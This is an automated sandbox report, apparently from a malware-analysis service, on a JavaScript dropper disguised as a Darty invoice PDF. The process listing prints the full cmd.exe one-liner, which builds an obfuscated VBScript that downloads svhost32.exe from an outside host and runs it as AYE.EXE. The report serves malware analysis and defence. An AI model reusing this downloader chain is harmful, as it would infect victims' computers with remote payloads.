Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 12:31

General

  • Target
    Facture_Darty_28HGV4_R84Z4LOP90J_K38522AZ89N12P9KIP50LOPK7_PF_04.2018_N1.pdf.js
  • Size 8KB
  • Sample260910-pp3mpswyhw
  • SHA256 4922984d94a69718bacaaefbaaa7943f572895f7a2eca9ccc9f8f01afb5edd29
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Facture_Darty_28HGV4_R84Z4LOP90J_K38522AZ89N12P9KIP50LOPK7_PF_04.2018_N1.pdf.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2800
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd %temp% &@echo U6o = "http://lifestylesounds.com/real_track/svhost32.exe">>1111111111111111111111111111111111111111.vbs &@echo W2g = W8l("BZF/FYF")>>1111111111111111111111111111111111111111.vbs &@echo Set D4k = CreateObject(W8l("NTYNM3/YNMIUUQ"))>>1111111111111111111111111111111111111111.vbs &@echo D4k.Open W8l("HFU"), U6o, False>>1111111111111111111111111111111111111111.vbs &@echo D4k.send ("")>>1111111111111111111111111111111111111111.vbs &@echo Set S2m = CreateObject(W8l("BEPEC/TUSFBN"))>>1111111111111111111111111111111111111111.vbs &@echo S2m.Open>>1111111111111111111111111111111111111111.vbs &@echo S2m.Type = 1 >>1111111111111111111111111111111111111111.vbs &@echo S2m.Write D4k.ResponseBody>>1111111111111111111111111111111111111111.vbs & @echo S2m.Position = 0 >>1111111111111111111111111111111111111111.vbs &@echo S2m.SaveToFile W2g, 2 >>1111111111111111111111111111111111111111.vbs &@echo S2m.Close>>1111111111111111111111111111111111111111.vbs &@echo function W8l(M3b) >> 1111111111111111111111111111111111111111.vbs &@echo For Y7o = 1 To Len(M3b) >>1111111111111111111111111111111111111111.vbs &@echo D8u = Mid(M3b, Y7o, 1) >>1111111111111111111111111111111111111111.vbs &@echo D8u = Chr(Asc(D8u)- 1) >>1111111111111111111111111111111111111111.vbs &@echo I3v = I3v + D8u >> 1111111111111111111111111111111111111111.vbs &@echo Next >>1111111111111111111111111111111111111111.vbs &@echo W8l = I3v >>1111111111111111111111111111111111111111.vbs &@echo End Function >>1111111111111111111111111111111111111111.vbs& 1111111111111111111111111111111111111111.vbs &dEl 1111111111111111111111111111111111111111.vbs & timeout 3 & AYE.EXE
      2⤵
      • Executes a command shell one-liner
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4408
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1111111111111111111111111111111111111111.vbs"
        3⤵
        • Badlisted process makes network request
        • Executes a VBScript file via the Windows Script Host.
        PID:4356
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4232

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        1111111111111111111111111111111111111111.vbs

        • Path C:\Users\Admin\AppData\Local\Temp\1111111111111111111111111111111111111111.vbs
        • Size 497B
        • SHA256 b729fc7ddc013097f983835afde7540e3a6a70e83cadf48e3d4cd976e319f5df
        • MD5 SHA1 SHA512 TLSH

        AYE.EXE

        • Path C:\Users\Admin\AppData\Local\Temp\AYE.EXE
        • Size 4KB
        • SHA256 fc69638c2ca955a7257699431b5c41b9c58b973118d9f489b349d7a7bc6f5eed
        • MD5 SHA1 SHA512 SSDEEP TLSH